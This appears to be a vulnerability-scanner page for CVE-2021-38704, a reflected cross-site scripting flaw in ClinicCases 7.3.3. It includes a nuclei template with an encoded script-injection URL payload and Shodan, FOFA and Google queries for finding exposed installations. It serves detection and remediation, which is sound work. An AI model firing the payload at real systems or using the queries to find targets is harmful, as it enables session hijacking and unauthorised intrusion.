ClinicCases 7.3.3 Cross-Site Scripting

mediumseverity

6.1CVSS score

3.5%likelihood of exploitation, next 30 days

89%of all CVEs are less likely

Readycheck to confirm it

ClinicCases 7.3.3 is susceptible to multiple reflected cross-site scripting vulnerabilities that could allow unauthenticated attackers to introduce arbitrary JavaScript by crafting a malicious URL. This can result in account takeover via session token theft.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, leading to potential data theft, session hijacking, or defacement of the affected website.

Fix

To mitigate this vulnerability, it is recommended to implement proper input validation and sanitization techniques to prevent the execution of malicious scripts.

How to confirm it

Send: GET {{BaseURL}}/cliniccases/lib/php/data/messages_load.php?type=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E
Positive when: contains "</script><script>alert(document.domain)</script>" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2021-38704 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2021-38704

info:
  name: ClinicCases 7.3.3 Cross-Site Scripting
  author: alph4byt3
  severity: medium
  description: ClinicCases 7.3.3 is susceptible to multiple reflected cross-site scripting vulnerabilities that could allow unauthenticated attackers to introduce arbitrary JavaScript by crafting a malicious URL. This can result in account takeover via session token theft.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, leading to potential data theft, session hijacking, or defacement of the affected website.
  remediation: |
    To mitigate this vulnerability, it is recommended to implement proper input validation and sanitization techniques to prevent the execution of malicious scripts.
  reference:
    - https://github.com/sudonoodle/CVE-2021-38704
    - https://nvd.nist.gov/vuln/detail/CVE-2021-38704
    - https://github.com/judsonmitchell/ClinicCases/releases
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-38704
    cwe-id: CWE-79
    epss-score: 0.03521
    epss-percentile: 0.89327
    cpe: cpe:2.3:a:cliniccases:cliniccases:7.3.3:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: cliniccases
    product: cliniccases
    shodan-query:
      - http.title:"ClinicCases",html:"/cliniccases/"
      - http.title:"cliniccases",html:"/cliniccases/"
    fofa-query: title="cliniccases",html:"/cliniccases/"
    google-query: intitle:"cliniccases",html:"/cliniccases/"
  tags: cve,cve2021,xss,cliniccases,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/cliniccases/lib/php/data/messages_load.php?type=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</script><script>alert(document.domain)</script>"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from